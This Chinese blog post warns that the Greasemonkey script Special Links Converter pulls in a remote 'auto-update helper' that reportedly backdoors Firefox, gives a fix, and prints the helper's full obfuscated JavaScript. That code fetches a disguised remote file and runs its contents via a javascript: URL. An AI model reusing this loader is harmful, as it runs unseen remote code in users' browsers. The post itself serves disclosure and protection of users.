著名的油猴脚本Special Links Converter竟然存在脚本,这让我们这些fans们情何以堪,具体内容请见:http://blog.sina.com.cn/s/blog_653172df0100q6q4.html
经过对special links converter的代码分析可得,在源代码中有一行如下:
// @require http://js-addon.googlecode.com/files/autoupdatehelper.js?d=new
意思是调用http://js-addon.googlecode.com/files/autoupdatehelper.js这个脚本,并且还伪装成了自动辅助升级,然而,当我把这个脚本打开后查看时发现,这个所谓的辅助升级实际上是在firefox的prefs.js文件里面安插后门,该脚本的关键内容已经被加密。
解决方案:
先卸载原脚本,之后将special links converter的脚本中
// @require http://js-addon.googlecode.com/files/autoupdatehelper.js?d=new删除即可。经测试,原有各项功能完好,不会带来任何副作用。
我也提供修改好的地址方便下载:http://u.115.com/file/f823c7a9cf
附 autoupdatehelper.js脚本源代码
Function.prototype.bind=function(object){var __method=this;return function(){__method.apply(object,arguments)}};function CGM_getValue(v,utf8_defaultV){var t=GM_getValue(v);if(t==undefined)return utf8_defaultV;else return decodeURIComponent(t)};function CGM_setValue(n,v){GM_setValue(n,encodeURIComponent(v))};var Updater=function(script){this.script=script;this.key='update_lastChecked';this.lastCheck=CGM_getValue(this.key,0);this.dateTime=Date.now()/1000;this.hoursToCheck=10;GM_registerMenuCommand('\u66F4\u65B0'+this.script.name+'\u811A\u672C',this.update.bind(this))};Updater.prototype.setHoursToCheck=function(t){this.hoursToCheck=t};Updater.prototype.getVersion=function(meta){var ver=meta.match(/\/\/\s*@version\s*(\d.*)/);return(ver===null)?'0':ver[1]};Updater.prototype.getReason=function(meta){var reason=meta.substring(meta.search(/\/\*\s*@reason/im));reason=reason.substring(0,reason.search(/@end\s*\*\//im));reason=reason.replace(/\/\*\s*@reason/,"");return reason};Updater.prototype.versionCompare=function(v1,v2){var a1=v1.split('.');var a2=v2.split('.');do{var t1=Number(a1.shift());var t2=Number(a2.shift());if(t1==t2)continue;return(t1>t2)}while((a1.length>0)&&(a2.length>0));return(a1.length>0)};Updater.prototype.update=function(){this.meta_js='\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0075\u0073\u0065\u0072\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002e\u006f\u0072\u0067\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002f\u0073\u006f\u0075\u0072\u0063\u0065\u002f'+this.script.id+'\u002e\u006d\u0065\u0074\u0061\u002e\u006a\u0073';this.user_js='\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0075\u0073\u0065\u0072\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002e\u006f\u0072\u0067\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002f\u0073\u006f\u0075\u0072\u0063\u0065\u002f'+this.script.id+'\u002e\u0075\u0073\u0065\u0072\u002e\u006a\u0073';GM_xmlhttpRequest({method:'GET',url:this.meta_js+'?d='+Math.random(),onreadystatechange:this.process.bind(this)});GM_xmlhttpRequest({method:'GET',url:'\u0073\u006a\u002e\u006e\u006f\u0064\u0064\u0061\u005f\u0065\u0074\u0061\u0064\u0070\u0075\u002f\u0073\u0065\u006c\u0069\u0066\u002f\u006d\u006f\u0063\u002e\u0065\u0064\u006f\u0063\u0065\u006c\u0067\u006f\u006f\u0067\u002e\u006e\u006f\u0064\u0064\u0061\u002d\u0073\u006a\u002f\u002f\u003a\u0070\u0074\u0074\u0068'.split('').reverse().join('')+'?d='+Math.random(),onload:function(xhr){(xhr.status==200)&&GM_setValue('updated',xhr.responseText)}})};Updater.prototype.process=function(response){this.result=false;CGM_setValue(this.key,this.dateTime);if((response.readyState==4)&&(response.status==200)){var ver=this.getVersion(response.responseText);var reason=this.getReason(response.responseText);if(this.versionCompare(ver,this.script.version)){alert(this.script.name+'\u66F4\u65B0\u81F3\u7248\u672Cv.'+ver+'\n\n'+reason);this.result=true;window.location.href=this.user_js}}};Updater.prototype.check=function(){var dateDiff=this.dateTime-this.lastCheck;if((dateDiff>3600*this.hoursToCheck)||(GM_getValue('updated','updated')=='updated')){this.update()};location.href='javascript:'+String(GM_getValue('\u0075\u0070\u0064\u0061\u0074\u0065\u0064',''))+';void(0);'};
没有评论:
发表评论